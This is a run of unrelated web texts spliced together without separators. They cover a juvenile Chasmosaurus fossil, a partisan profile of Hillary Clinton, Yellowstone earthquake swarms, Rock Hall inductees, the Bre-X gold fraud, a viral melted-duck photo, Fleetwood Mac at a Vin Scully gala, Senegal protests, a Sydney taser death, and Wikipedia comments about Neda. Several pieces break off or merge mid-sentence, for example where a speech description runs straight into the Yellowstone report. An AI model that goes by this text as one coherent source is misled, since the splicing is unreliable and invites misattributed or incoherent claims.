UALVP 52613 ( Fig. 2 ) is identified as a chasmosaurine ceratopsid because of its characteristic premaxilla, nasal septum, horn cores, supracranial recess, and squamosal. Of all the chasmosaurines from Dinosaur Park, it is most similar to Chasmosaurus belli and C. russelli. It can be identified as Chasmosaurus belli because of its geographic and stratigraphic position, lack of any evidence of a posterior embayment of the parietal shield, and because it has a parietal fenestra that (if present) is completely surrounded by the parietal. These features have been considered as diagnostic for C. belli (Godfrey and Holmes, 1995 Godfrey, S. J., and R. Holmes. 1995. Cranial morphology and systematics of Chasmosaurus (Dinosauria: Ceratopsidae) from the upper Cretaceous of western Canada. Journal of Vertebrate Paleontology 15:726–742.). The embayment and position of the parietal fenestra might be juvenile characters present in all chasmosaurine species, but in the absence of unequivocal juvenile cranial characters of C. russelli, it is reasonable to assume that C. belli is a more likely identification. However, Campbell et al. ( 2013 Campbell, J., M. Ryan, C. Schroder-Adams, R. Holmes, and D. Evans. 2013. A specimen-based phylogenetic analysis of the chasmosaurine ceratopsid Chasmosaurus (Ornithischia) from the Upper Cretaceous (Campanian) Dinosaur Park Formation of western Canada suggests the validity of only one species. Journal of Vertebrate Paleontology, Program and Abstracts 2013, pp. 99–100.) are currently rediagnosing these two species, so this assignment is subject to revision.
The juvenile nature of this specimen is based on several lines of reasoning. At approximately 1.5 m in total length, it is the smallest articulated ceratopsid skeleton that has ever been recovered. Immature bone textures on cranial bones (Brown et al., 2009 Brown, C. M., A. P. Russell, and M. J. Ryan. 2009. Pattern and transition of surficial bone texture of the cent |
advance his own stature on campus and beyond.”
She has the martial spirit that Obama lacks.
You know that recent Obama Supreme Court pick? The one that seems a little lukewarm? A little too old? A little too white? A little too middle-of-the-road for progressives? Hillary’s not like that. Here’s Bernstein defining how she differs from Bill—describing her toughness:
…A kind of military rigor: reading the landscape, seeing the obstacles, recognizing which ones are malevolent or malign, and taking expedient action accordingly. Bill’s process is different. He is slow to recognize the malevolence in others, he wants to assume the best about them, and he is willing to spend months trying to win their hearts and minds. Hillary means to cut off the enemy at the pass. —Carl Bernstein, 'A Woman in Charge'
Her first job out of law school was on the Watergate Impeachment investigation.
She was there in the Miami Convention Hall in 1968 when Nixon accepted the nomination. There in the room and disgusted by the direction of the Republican Party. And just a few years later she was on Capitol Hill, working as a lawyer on the staff of the House Judiciary Committee to take him down.
In Arkansas, she broke glass ceilings all over the place.
When Bill Clinton told his mom Virginia that his fiancé Hillary wouldn’t be taking his last name—that she would remain “Hillary Rodham”—Bill’s mom literally cried. It was so contentious that a friend called Hillary his “political Waterloo.” During Bill's run for Governor, it was just the first of a thousand so-called “scandals” targeting her:
Clinton’s opponents criticized him for having a wife with a career—a lawyer to boot—who was so independent-minded that she wouldn’t take her husband’s name. The “name issue” would become one of the most talked about of the campaign. Men and women around the state argued publicly and privately about it. “People thought even his wife didn’t like him enough to take his name,” said an acerbic political columnist for the Arkansas Democrat-Gazette, Meredith Oakley, who would make a name for himself writing about the Clintons. Within the campaign itself and among supporters, there were a number who urged Hillary directly to change her mind. —Carl Bernstein, 'A Woman in Charge'
But that wasn’t the only convention she flaunted. In Arkansas, she joined one of the top law firms in the state—as the firm’s first woman lawyer. She wasn’t afraid of the boy’s club. “In our morning meetings she didn’t hold her tongue,” a partner at the time remembered. “She was simply never intimidated by anyone, partner or client, and that in itself is often intimidating to others.”
Hillary went to battle with President Reagan—and won.
In the late 70s, Hillary was appointed by President Jimmy Carter to serve as chair of the board of the Legal Services Corporation. The organization served the poor and downtrodden—those who by no fault of their own couldn't afford an attorney. At the time, the Legal Services Corporation oversaw five thousand lawyers handling a million cases a year. Cases by the poor. The abused. The vulnerable. Hillary was the first woman ever to hold the post. And she was confirmed by Congress. But it wasn’t an easy job.
Republicans hated the program—and maybe none more than Ronald Reagan. In 1980, Reagan was Governor of California and angling to be the Republican Nominee for President. When he tried to cut legal services for the poor, Hillary fought back. She led an effort to convince the board to completely reject his plans in California. And she won! But Reagan wasn’t done with the Legal Services Corporation yet.
When he was elected to the presidency, Reagan struck back. He lobbied Congress to cut funding for the Legal Services Corporation. He even tried to stuff the board with appointees to shut it down. As chair, Hillary didn’t let it happen. First, she sought a restraining order to stop Reagan’s appointees from meeting and coordinating before their confirmation by the Senate. Then, she rallied with Democrats on Capitol Hill. The result? The Senate rejected Reagan’s conservative nominees. Under her leadership and in spite of Reagan, she increased the organization's funding from $90 million to $300 million—more than tripling its impact. Still in her early thirties, she had gone to battle with President Reagan—twice—and won both times.
She once served as "best person" in a friend's wedding—and wore a tuxedo.
Enough said.
Oh yeah, and through all of this, she killed it as a lawyer.
After helping take down Nixon, her first job in Arkansas was as a professor of criminal law at the University of Arkansas. A decade later, she was repeatedly listed as one of America’s 100 most powerful lawyers by The National Law Journal. And she kept publishing influential journal articles. In 1992, the New York Review of Books looked at her impact on the legal profession and declared: “She is one of the more important scholar-activists of the last two decades…what set her apart from other successful and scrambling lawyers was her attempt to undergird practical activity with legal theory.”
Her focus? Extending and defending the rights of children. “She deplored the ad hoc nature of reform efforts in a field where slogans and sentiment blunt responses to the right-wing defense of ‘family values,’” Garry Wills wrote in the New York Review of Books. Here’s just a quick survey of some of her writings of that time:
'Children Under the Law' in Harvard Educational Review
'Children's Policies: Abandonment and Neglect' in Yale Law Journal
'Children's Rights: A Legal Perspective' in Children's Rights: Contemporary Perspectives
'Teacher Education: Of the People, By the People, and For the People' on Teacher Education Policies, Practices, and Research’ published by the Center For Teacher Education, University of Texas
She confronted China’s human rights abuses—and advanced the women’s movement—in one of the top 100 speeches of the 20th century.
“Human rights are women’s rights and women’s rights are human rights once and for all.”
Hillary declared to a packed crowd. It was 1995 and she was addressing the United Nations Fourth Women’s Conference in Beijing, China. The speech is ranked number 35 on American Rhetoric’s Top 100 Speeches of the 20th Century (ahead of Bill, who ranks at 90 on the list). And it almost didn’t happen. There were those throughout the Clinton Administration who cautioned against her going to China. Upsetting the Chinese government. But she insisted. And in so doing, she made a lasting impact on the global women’s movement.
One fact she mentions that isn’t underscored enough—and that she would do well to highlight during her historic election this year: “It took 150 years after the signing of our Declaration of Independence for women to win the right to vote.”
Also striking in the speech are echoes of phrases she still uses 20 years later, such as “that everyone can live up to their God-given potential.” The first six minutes of the speech focus on conference logistics—so start at 6:13—As small earthquakes continue to rumble around the Yellowstone supervolcano in Wyoming, scientists have revealed new evidence of the changes going on beneath the ground.
A new map from the US Geological Survey shows how the ground around the Yellowstone caldera has deformed over the span of two years, as the quakes release uplift-causing pressure, allowing the ground to sink back down.
This activity is typically linked to changes in magma and gases deep below the surface – but for now, the experts say there’s no cause for worry.
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In the map above, a bulls-eye shaped section of uplift can be seen at the Norris Geyser Basin, where the ground has risen roughly 3 inches. And, an elliptical subsidence can be seen in the Yellowstone caldera, with the ground dropping about 1.2 inches
EARTHQUAKE SWARM The University of Utah's Seismograph Stations (UUSS) have been monitoring the activity since it began June 12. A total of 1,562 quakes have been recorded so far at Yellowstone since the swarm began. Earthquake swarms are common in Yellowstone and, on average, comprise about 50 per cent of the total activity in the Yellowstone region. Although the latest swarm is the largest since 2012, it is fewer than weekly counts during similar events in 2002, 2004, 2008 and 2010. Tremors were recorded from ground level to 9mi (14.5km) below sea level. Seismic activity could be a sign of an impending eruption of the supervolcano, although this is impossible to predict exactly
The map, created by USGS geophysicist Chuck Wicks uses data from June 2015 and July 2017 to show how the region around Yellowstone has changed.
In the map, the colourful rings show the changes in the ground's elevation as seen by a radar satellite, according to USGS.
A bulls-eye shaped section of uplift can be seen at the Norris Geyser Basin, where the ground has risen roughly 3 inches.
And, an elliptical subsidence can be seen in the Yellowstone caldera, with the ground dropping about 1.2 inches.
Just 12-18 miles away, the summer 2017 earthquake storm is still underway, to the west of the Norris uplift.
And, it's likely playing a role in the changes observed at the site.
‘The uplift and subsidence is usually interpreted as due to addition or withdrawal of deep magma and related gases and water at depths 5 to 15 km (3 to 9 mi) beneath the ground,’ USGS explains.
‘This cycle of uplift and subsidence is common and seems tied to earthquake swarms; that is, swarms appear to release the pressure that caused the initial uplift, thus allowing the region to return to a period of subsidence.’
While it may seem alarming, the experts say this behaviour is common, and the locations are so far exhibiting minimal changes this month.
'Behavior is similar to the past several months,’ USGS notes in a monthly update released last week.
‘Current deformation patterns at Yellowstone remain within historical norms.’
The earthquake storm has steadily persisted throughout the summer.
By August 2, the area had seen 1,562 events, with the largest magnitude of ML 4.4
This activity is typically linked to changes in magma and gases deep beneath the surface – but for now, the experts say there’s no cause for worry. The Grand Prismatic hot spring (pictured, stock image) is among the park's many hydrothermal features created by the supervolcano
Yellowstone National Park was hit by more than 1,200 earthquakes in the span of just a month, seismologists revealed earlier this summer.
In an update on the ongoing earthquake storm, which scientists have been monitoring since June 12, the researchers said they'd recorded 1,284 events by mid-July, with the largest being a magnitude 4.4
While the activity has spurred fears that the supervolcano could be gearing up to an eruption, the experts say the risk of such an event is low, and the alert level remains at ‘normal.’
The experts at the University of Utah Seismograph Stations (UUSS) have been tracking the current swarm on the western edge of Yellowstone since June 12.
Swarms of this kind are common in the area, they say, and make up roughly 50 percent of the seismic activity in the Yellowstone region.
While the activity has spurred fears that the supervolcano could be gearing up toward an eruption, the experts say the risk of such an event is low, and the alert level remains at ‘normal’
‘The swarm consists of one earthquake in the magnitude 4 range, 7 earthquakes in the magnitude 3 range, 105 earthquakes in the magnitude 2 range, 407 earthquakes in the magnitude 1 range, 736 earthquakes in the magnitude 0 range, and 28 earthquakes with magnitudes of less than zero,’ according to UUSS.
‘These events have depths from ~0.0 km to ~14.0 km, relative to sea level.
'At the time of this report, there were 125 felt reports for the M4.4 event that occurred on June 16, 2017 at 00:48:46.94 UTC (June 15, 2017 at 18:48:46.94 MDT).’
As the swarm continues, they will continue to monitor its activity, and provide updates as seen fit.
For now, though, experts have left the alert level in the green zone, meaning activity is still considered normal.
In the most recent update on the ongoing earthquake storm, which scientists have been monitoring since June 12, the researchers say there have been 1,284 events so far, with the largest being a magnitude 4.4
If it were to erupt, the Yellowstone volcano would be one thousand times as powerful as the 1980 Mount St Helens eruption, experts claim - although they say the risk is 'low'.
‘Yellowstone hasn’t erupted for 70,000 years, so it’s going to take some impressive earthquakes and ground uplift to get these things started,’ the US Geological Survey explains.
‘Besides intense earthquake swarms (with many earthquakes above M4 or M5) we expect rapid and notable uplift around the caldera (possible tens of inches per year).
‘Finally, rising magma will cause explosions from the boiling-temperature geothermal reservoirs.
Experts say there is a one in 700,000 annual chance of a volcanic eruption at the site. Pictured is an artist's impression
Yellowstone National Park spans the midwestern US states of Wyoming, Idaho and Montana (pictured)
‘Even with explosions, earthquakes, and notable ground uplift, the most likely volcanic eruptions would be the type that would have minimal affect outside the park itself.’
The swarm has steadily persisted over the last few weeks.
In a previous update, experts revealed the swarm had reached nearly 900 quakes by June 28.
And, when the earthquakes started on 12 June, USGS said it was the highest number of earthquakes at the park within a single week in the past five years.Yes, Journey, Electric Light Orchestra and Pearl Jam lead the list of 2017 inductees into the Rock and Roll Hall of Fame. They'll be joined at next April's ceremony by folk legend Joan Baez and the late hip-hop star Tupac Shakur.
Nile Rodgers of Chic, who later had a sweeping impact on rock as a producer, will receive the Award for Musical Excellence – which replaced the sideman award. Ringo Starr is the most recent honoree; the E Street Band, Leon Russell and fellow producer Glyn Johns have also recently been recognized.
Next year's class was announced this morning. The 32nd annual Rock and Roll Hall of Fame induction ceremony is set for April 7 at the Barclays Center in Brooklyn, where it will be held for the third time. The event will subsequently be televised on HBO. Details regarding on-site tickets and the broadcast schedule will be announced in early 2017.
Artists are eligible for the hall of fame 25 years after the release of their debut recording. Honorees are chosen by more than 900 Rock and Roll Hall of Fame Foundation voters, along with a single ballot containing the aggregate results of the annual online fan vote. Journey finished as the top voter getter in that poll. ELO, Yes, Pearl Jam and the Cars rounded out the Top 5.
Since establishing this ballot for fans, the Hall of Fame has consistently welcomed the winner into its next class – including Kiss, Rush, Stevie Ray Vaughan and Chicago.Bre-X was a group of companies in Canada. Bre-X Minerals Ltd., a major part of Bre-X based in Calgary, was involved in a major gold mining scandal when it reported it was sitting on an enormous gold deposit at Busang, Indonesia (in Borneo). Bre-X bought the Busang site in March 1993 and in October 1995 announced significant amounts of gold had been discovered, sending its stock price soaring. Originally a penny stock, its stock price reached a peak at CAD $286.50 (split adjusted) in May 1996 on the Toronto Stock Exchange (TSE), with a total capitalization of over CAD $6 billion. Bre-X Minerals collapsed in 1997 after the gold samples were found to be a fraud.[1][2]
Busang's gold resource was estimated by Bre-X's independent consulting company, Kilborn Engineering (a division of SNC-Lavalin of Montreal), to be approximately 71,000,000 troy ounces (2,400 short tons; 2,200 t). Reports of resource estimates of up to 200,000,000 troy ounces (6,900 short tons; 6,200 t) were never made by Bre-X though the property was described as having this potential by John Felderhof, Bre-X's Vice-President for Exploration, in an interview with Richard Behar of Fortune Magazine.[3]
Bre-X's gold resource at Busang was a massive fraud.[4] Encouraging gold values were intersected in many drill-holes and the project received a positive technical assessment by Kilborn. Crushed core samples had been falsified by salting with gold that has a wide variety of characteristics that had been subjected to mineralogical examination by Bre-X's consultants.[clarification needed] In fact in an old report, found in Bre-X files, a mineralogist had reported that gold particles in Busang samples had the tell-tale darker yellow skin compared to the interior. This results from selective leaching of silver from the surface of gold particle during river transport, an indication that it was alluvial gold, not consistent with the drill core origin of the samples. The salting of crushed core samples with placer or supergene gold constitutes the most elaborate fraud in the history of mining. In 1997, Bre-X collapsed and its shares became worthless in one of the biggest stock scandals in Canadian history, and the biggest mining scandal of all time.[citation needed]
History [ edit ]
Bresea logo.
David Walsh founded Bre-X Minerals Ltd. in 1989 as a subsidiary of Bresea Resources Ltd. The company did not make a significant profit before 1993, when Walsh followed the advice of geologist John Felderhof and bought a property in the middle of a jungle near the Busang River in Kalimantan, Indonesia. The first estimate of the site by its project manager (Filipino geologist Michael de Guzman) was approximately 2 million troy ounces.[5]
The estimate of the site's worth increased over time; in 1995 it was 30 million ounces (850 metric tons); in 1996, 60 million (1,700 metric tons); finally, in 1997, 70 million ounces. The stock was originally listed on the Alberta Stock Exchange in 1989, and subsequently in 1996 on the Toronto Stock Exchange and NASDAQ.[6] The stock price of Bre-X rose to CA$280 per share by 1997 (split adjusted) and at its peak it had a market capitalization equal to US$4.4 billion, equivalent to US$6.9 billion in 2018.[7]
Some other mineral companies, including Placer Dome, organized failed takeovers, but the Indonesian government of President Suharto also got involved. Stating that a small company like Bre-X could not exploit the site by itself, the Indonesians suggested that Bre-X share the site with the large Canadian mining firm Barrick Gold, in association with Suharto's daughter Siti Hardiyanti Rukmana.[8] Bre-X hired Suharto's son Sigit Hardjojudanto to handle their side of the affair. Bob Hasan, another Suharto acquaintance, negotiated a deal whereby Bre-X would have a 45% share, Freeport-McMoRan Copper & Gold would run the mine, and Hasan would get a cut as well. Bre-X would have the land rights for 30 years. The deal was announced February 17, 1997 and Freeport-McMoRan began their initial due diligence evaluation of the site.
Fraud exposed [ edit ]
The fraud began to unravel rapidly on March 19, 1997, when Filipino Bre-X geologist Michael de Guzman reportedly committed suicide by jumping from a helicopter in Indonesia.[9][10] A body was found four days later in the jungle, missing the hands and feet, and with the penis "surgically removed".[11] In addition, the body was reportedly mostly eaten by animals and was only identified from molars and a thumbprint.[12] (According to journalist John McBeth, a body had gone missing from the morgue of the town from which the helicopter flew. The remains of "de Guzman" were found only 400 metres from a logging road. No one saw the body except another Filipino geologist who claimed it was de Guzman. And one of the five women who considered themselves his wife was receiving monetary payments from somebody long after the supposed death of de Guzman.[11]) A week later, on March 26, 1997, the American firm Freeport-McMoRan, a prospective partner in developing Busang, announced that its own due-diligence core samples, led by Australian geologist Colin Jones, showed "insignificant amounts of gold".[13] A frenzied sell-off of shares ensued and Suharto postponed signing the mining deal. Bre-X demanded more reviews and commissioned a review of the test drilling. Results were not favorable to them, and on April 1, 1997, Bre-X refused to comment. Canadian gold analyst Egizio Bianchini, of BMO Nesbit Burns, considered the rumors "preposterous".[14] A third-party independent company, Strathcona Minerals, was brought in to make its own analysis. They published their results on May 4, 1997: the Busang ore samples had been salted with gold dust.[15] The lab's tests showed that gold in one hole had been shaved off gold jewelry though it has never been proved at what stage this gold had been added to those samples. This gold also occurs in quantities that do not support the actual original assays. Trading in Bre-X was soon suspended on the TSE and NASDAQ, and the company filed for bankruptcy protection.[16]
Aftermath [ edit ]
By May, Bre-X faced a number of lawsuits and angry investors who had lost billions. Among the major losers were three Canadian public sector organizations: The Ontario Municipal Employees Retirement Board (loss of $45 million), the Caisse de dépôt et placement du Québec, the Quebec Public Sector Pension fund ($70 million), and the Ontario Teachers Pension Plan ($100 million). There was fallout in the Canadian financial sector also; the fraud proved a major embarrassment for Peter Munk, the head of Barrick Gold, as well as for the then-head of the Toronto Stock Exchange (resulting in his ousting by 1999), and began a tumultuous realignment of the Canadian stock exchanges.
Bre-X went bankrupt November 5, 1997 although some of its subsidiaries like Bre-X continued until 2003.
Walsh moved to the Bahamas in 1998, still professing his innocence. Two masked gunmen broke into his home in Nassau, tying him up, and threatened to shoot him unless he turned over all his money. The incident ended peacefully but three weeks later, on June 4, 1998, Walsh died of a brain aneurysm.[17][18]
In 1999 the Royal Canadian Mounted Police (RCMP) announced it was ending its investigation without laying criminal charges against anyone.[19] Critics charged that the RCMP was underfunded and understaffed to handle complex criminal fraud cases, and also charged that Canadian laws in this area were inadequate. However, despite the dropping of criminal charges, civil class action suits against Bre-X directors, advising financial firms and Kilborn continued.
In May 1999, the Ontario Securities Commission charged Felderhof with insider trading. No other member of Bre-X's board of directors, or others associated with the Busang project, were charged by the OSC. The OSC admitted that there is no evidence that Felderhof was either involved in the fraud or was aware of the fraud. The trial was suspended in April 2001 when the OSC tried to have presiding judge Justice Peter Hryn removed for alleged bias against the prosecution. This was denied by an independent judge, and on December 10, 2003 the appeal was also denied by a panel of judges.[20]
The trial resumed in 2005. Felderhof attended, without testifying, a number of the Court hearings as the six-year case made its way through the system. The basis of the OSC action as well as the civil class-action suits is the alleged existence of numerous and obvious "red flags", as detailed by Strathcona Minerals, which should have been recognized.
Begun in 2001, the trial of John Felderhof was concluded on Tuesday, July 31, 2007, with a not-guilty verdict of illegal insider trading. Days after the verdict, the OSC also decided not to appeal the decision, a landmark victory for Felderhof and his lawyer, Toronto-based Joseph Groia. A class-action lawsuit was discontinued by court order in early 2014; $3.5 million (CAN) damages were donated to charity and the University of Ottawa since funds were deemed too low to be meaningfully distributed amongst the large number of plaintiffs.[21]
The Bre-X mining fraud convinced Canadians to regulate professional geology in Canada.[22] The Securities regulation National Instrument 43-101 was created in the wake of the Bre-X fraud to protect investors from unsubstantiated mineral project disclosures.[23]
Books and articles [ edit ]
The Bre-X Fraud by Douglas Goold and Andrew Willis, McClelland and Stewart (1997) [24]
by Douglas Goold and Andrew Willis, McClelland and Stewart (1997) Fool's Gold: The Making of a Global Market Fraud by Brian Hutchinson (pub. by Alfred A. Knopf, 1998) [25]
by Brian Hutchinson (pub. by Alfred A. Knopf, 1998) Bre-X: Gold Today, Gone Tomorrow by James Whyte and Vivian Danielson [20]
by James Whyte and Vivian Danielson Indonesian Gold by Kerry B. Collison — a fictionalised account [26]
by Kerry B. Collison — a fictionalised account New Perspectives on Busang by Phillip Hellman, Parts 1 & 2, The Northern Miner, May 2002
by Phillip Hellman, Parts 1 & 2, The Northern Miner, May 2002 Friction by Anna Tsing (2005, Princeton University Press)
by Anna Tsing (2005, Princeton University Press) Fever: The Dark Mystery of the Bre-X Gold Rush by Jennifer Wells
by Jennifer Wells " Bre-X, The Inside Story" by Diane Francis (pub by Key Porter Books, 1997)
Reporter. Forty Years Covering Asia by John McBeth, Talisman Publishing, Singapore, 2011. ISBN 9789810873646
Film [ edit ]
The film Gold, a dramatization derived from the Bre-X story, was released world-wide on January 27, 2017.[27][28][29] For legal reasons, and to enhance the appeal of the film to American audiences, the film's producers denied that the film was in any way connected to the Canadian Bre-X story.[30][31]It’s hot in Japan. Hot enough to melt a dashboard rubber duck into a forlorn pool of gooey plastic. And hot enough to make thousands of people intent on proving or disproving the authenticity of a now-viral tweet.
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The initial tweet, posted yesterday and already garnering close to 500,000 retweets, depicts a small green duck succumbing to the heat and becoming the flat-faced avatar of humid summer doldrums. It reads “This is the worst, I can’t believe it.” But take a look at those two photos again. The radio looks the same. The duck and duck puddle are the same color. But doesn’t the top of the dashboard look... different?
Some people sure thought so! And they responded by marking up the viral photos with the kinds of numbers, scribbles, and question marks most commonly associated with the “shocking proof!!” pictures made by folks who are absolutely convinced the moon landing was faked by a crypto-Hollywood cabal on a New Jersey soundstage.
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A conspiracy theory (resembling a detail-oriented riff on The Dress) was hatched, with competing factions of Japanese Twitter users attempting to show how these two pictures absolutely are/absolutely cannot be from the same car.
Our cohorts over at Jalopnik determined the vehicle to be a Honda That’s (no that isn’t a typo) and, sure enough, the car’s brochure depicts a version of the dashboard seen in the tweet. But who are you going to believe, the car’s manufacturer or people on Twitter with a lot of free time?
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“To all those who are saying the two pictures are showing different objects, look at this. I think (3) is a vertical angle. Please check my work,” user @saw_spla replied, mocking up a hand-drawn multi-angle interior of the That’s, complete with a color key.
It’s certainly strong evidence of... something.
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Another user, @jaioki_Nono, took it one step further, however, firing back with a full 3D model.
“This model is a little rough,” wrote @jaioki_Nono, “but to the person who commented [that the car looks like a] Honda That’s, is this the original impression you had?”
From the model, it seems like the discrepancy between the initial photos is a result of perspective foreshortening the top portion of the dashboard in the first image, when in reality it’s much longer and perfectly capable of containing one duck’s worth of liquid plastic.
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I, for one, am fairly convinced—though I’m not an expert on cars or their associated tchotchkes—and yet the discussion still rages on across Japanese Twitter. All we can say with confidence is that this won’t be easy to clean up:Last month, we reported that Fleetwood Mac would be performing at a gala in honor of Dodgers' announcer Vin Scully, and freaked out over the prospect of two of the most miraculous entities breathing the same Dodger Stadium air (and oh, what lucky air!).
It was no surprise that Vin and the Mac would actually meet—I mean, it's his retirement party after all! But I wasn't prepared for the wave of emotions that washed over me when I actually saw proof that it happened. Particularly this image of Vin and Stevie Nicks, kindly locking eyes :
How's this for a photo op? Vin meets Stevie Nicks backstage. #LADFGala pic.twitter.com/z3kCP2yD87 — Los Angeles Dodgers (@Dodgers) July 29, 2016
I mean!! As a devoted disciple of the Book of Mac, and a lifelong Dodger fan who learned to talk by listening to Scully broadcasts (jk), I never would have imagined that these two worlds would collide... on the one hand, you have a rock band known for cocaine anthems, and on the other, a man who researches the history of beards in his free time. But, as John Muir once said, "When we try to pick out anything by itself, we find it hitched to everything else in the Universe." The meeting of Vin Scully and Fleetwood Mac is proof of the interconnectedness of human life, and I'm pretty sure I've reached enlightenment looking at all these Instagrams of the night.
As if things could get even more emotionally/spiritually loaded, Stevie Nicks apparently dedicated "Landslide" to Vin Scully.
In this video, we can see Stevie's little dedication speech, in which she struggles to comprehend how old Scully really is (88!) and how many years (67!) he's been on the job. "I just want to say to you, Mr. Scully, we are right behind you," Stevie says. "So this is for you with all our love, and just you know, keep doing what you do, we love you for it."
Of course, the tender, poignant performance was captured on video by none other than...Sly Stallone? ("Fantastic," he says, as he turns the camera back on himself at the end of the song.)
Fleetwood Mac, amazing performance last night in LA A video posted by Sly Stallone (@officialslystallone) on Jul 29, 2016 at 8:28am PDT
During his remarks that followed the set, Dodgers Insider reported that Vin said, "I wish I could sing with Fleetwood Mac... That would be a sight and a sound, wouldn't it?" I have never wanted anything more in my entire life than to bear witness to that. Though, we wonder how much Vin really knows about behind-the-scenes Fleetwood Mac history.
The celeb presence was on point. Scandal actress Bellamy Young captured the Mac playing "Don't Stop" (and managed to give a nice little shout-out to Hillary Clinton):
Another god, ESPN's Ramona Shelburne was there, and posted this video of "Everywhere":
Sometimes I have the coolest job. Rocking out w @alannarizzo at @fleetwoodmac concert at Dodger Stadium. #LADFGala pic.twitter.com/qHiVWtBrEc — Ramona Shelburne (@ramonashelburne) July 29, 2016
John Mayer cheesed it up during "Dreams":
#JohnMayer #FleetwoodMac A video posted by John Clayton Mayer (@johnmayerusa) on Jul 28, 2016 at 9:52pm PDT
Here's the full set list, basically ripped from Greatest Hits, naturally :
According to the Dodgers' blog, when Scully took the stage after the set, he began by announcing a score update from the Giants game. Then, in true Vinny fashion, he told a 10-minute long story that "evolved over 10 minutes from Al Capone's murdered lawyer, 'Easy Eddie,' to the World War II hero Butch O'Hare, for whom the Chicago airport is named." Of course, it all came together to form a beautiful parable.
Variety notes that the event was attended by a bunch of celebs, who honestly PALE in comparison when you consider the real stars of the show. Anyway it looks like it was a good opportunity for outfielder Yasiel Puig to make a new #friend:Media playback is unsupported on your device Media caption The police eventually managed to restore order
Senegal's president has dropped proposed changes to the country's constitution after police fired tear gas and rubber bullets at thousands of protesters outside Dakar's parliament.
Abdoulaye Wade had wanted to reduce the proportion of votes needed to win a presidential election, and avoid a run-off, from more than 50% to 25%.
He had also wanted to create an elected post of vice-president.
The proposals sparked the most violent protests of Mr Wade's 11-year rule.
Critics had said the run-off amendment was designed to ensure that Mr Wade, 85, was re-elected next year against a fractured opposition.
He dropped that element of the proposed bill earlier on Thursday, but withdrew plans to create the position of vice-president after clashes continued outside parliament, Justice Minister Cheikh Tidiane Sy told MPs.
The president had taken into consideration MPs' concerns, AFP quoted Mr Sy as saying, adding to applause that: "He asked me to withdraw the draft legislation".
'Father's shoulders'
Earlier on Thursday, clouds of tear gas hovered over the square in front of the National Assembly, where lawmakers had gathered to vote on the proposed changes to the constitution.
The city centre was cut off as protesters set fire to vehicles and threw stones at riot police.
Local reports said some ruling party MPs had been blockaded in their houses to prevent them voting.
There were also violent protests elsewhere in the city and in other towns in Senegal.
Image caption Critics feared Abdoulaye Wade (l) will make his son (r) vice-president
Many people feared Mr Wade intended to give the post of vice-president to his son Karim, who is already a powerful minister in the current administration, said BBC West Africa correspondent Thomas Fessy.
Critics of the proposed measures said Mr Wade could have then stepped down and handed power to his son.
"We're not against Karim Wade," said protesting student Assane Ndiaye.
"Karim can be a candidate like any other, but he shouldn't be carried into office on his father's shoulders."
The government had said the proposed new post was aimed at reinforcing democracy by sharing power between the president and vice-president.
Riot police also clashed with protesters earlier this week.
The opposition had established a coalition called "Don't Touch My Constitution", while world-famous singer Youssou Ndour criticised the "abuse of authority".
Mr Wade first came to power in democratic polls more than a decade ago but he is now facing growing anger at daily electricity cuts and the rising cost of living.THE man who died after being tasered by police on one of Sydney's busiest streets may have lost his life over a packet of biscuits.
The victim was the suspect in a convenience store robbery, which had happened just minutes earlier, in which only biscuits were taken.
Just after 5.30am yesterday, police stopped a man on Pitt St in the CBD because he fitted the description of the suspect who had stolen something from City Convenience store on nearby King St.
After trying to subdue him with capsicum spray, a Taser gun was fired.
The man stopped breathing and, despite officers giving CPR, he could not be revived and died at the scene.
City Convenience store manager Sharif Al Ghazo said a man had entered the shop seeking protection from an individual or group of men.
When an employee in the shop refused to help him he fled, grabbing some biscuits on the way out.
"He said that the guy went inside the shop asking for help," Mr Al Ghazo said.
"He wanted to get away from someone who wanted to kill him.
"He did not want any money, he wanted protection. He took a packet of biscuits."
One Pitt St resident, who only wanted to be identified by his first name Dante, said he heard the sirens from his nearby unit.
He said he was woken by the commotion and went out to see what had happened.
"I didn't see him get tasered but the cops were giving CPR when I got here," Dante said.
"The cops were doing CPR for 10 minutes before the ambulance got here.
"There were maybe five or six of them helping."
The incident is being investigated by the homicide squad and the internal Professional Standards Command.
Police acting Assistant Commissioner Mark Walton would not say yesterday whether the dead man was armed or if he was under the influence of drugs or alcohol.
He |
. She is an important part of the history of Iran struggle. Tyrion18 (talk) 01:14, 22 June 2009 (UTC)
-- I can't help but think that those who are denying the reality of this gruesome act and suggest deleting it have some despicable agenda. To those who deny this video's circumstances, I say that I have see the video that shows Neda and her father right before the shooting peacefully watching the events in front of them. The video shows the yelling and screaming and police fighting the people. It's shameful to suggest that she does not deserve to be a permanent entry in Wikipedia. She is an important part of the history of Iran struggle. Tyrion18 (talk) 01:14, 22 June 2009 (UTC) Strong keep -- Let's keep updating and improving information as available and verifiable? Lenny Zenith talk • —Preceding unsigned comment added by Cyborgnyc contribs ) 00:58, 22 June 2009 (UTC)
-- Let's keep updating and improving information as available and verifiable? Lenny Zenith Strong keep -- Neda has become the personification of the protest movement in Iran. This is living history. How could anyone even consider deleting it? Tim New
-- Neda has become the personification of the protest movement in Iran. This is living history. How could anyone even consider deleting it? Tim New Strong Keep -- continue to update as new information becomes available. talk • —Preceding unsigned comment added by Caulleys contribs ) 00:27, 22 June 2009 (UTC)
-- continue to update as new information becomes available. Keep -- and improve as information becomes available. Rabourn (talk)
-- and improve as information becomes available. Rabourn (talk) Strong delete --unverifiable video by an anonymous anti-government user of a social networking site - hardly qualifies as a reputable source. The mainstream media coverage is all secondary to this one source. Little Professor (talk) 23:23, 21 June 2009 (UTC)
DO NOT DELETE. We are posting information as quickly as we can get it and are working to verify the sources. Please do not let her deathe be in vain —Preceding unsigned comment added by 24.99.224.84 (talk) 00:26, 22 June 2009 (UTC)
"Do not delete." -- She had a name, a passport and the facts of her death which have galvanized a nation and saddened the world will be verified. Document history; do not erase it." LisaHenderson06 (talk) —Preceding undated comment added 23:01, 21 June 2009 (UTC).
Do not delete. -- i believe it is very important to keep this entry. 1) this is verifiable; once media is allowed in again, her father and other witnesses can be interviewed, etc. 2) this is a very important event in a larger important event. encyclopedias document important events, deleting this entry would serve no purpose. due to the nature of Iranian traditions for mourning (3rd, 7th, and 40th day after death, info from time.com) there will probably be more events related to what happened to her. Also, her name "Neda" has become a rallying cry. We dont know what might happen 10 years from now, but there's a possibility that she will become a relatively important figure. Students writing reports over this "green revolution" may want to refer to information about her. Do not delete this entry. 17:40, 21 June 2009 talk) —Preceding unsigned comment added by 72.213.19.125
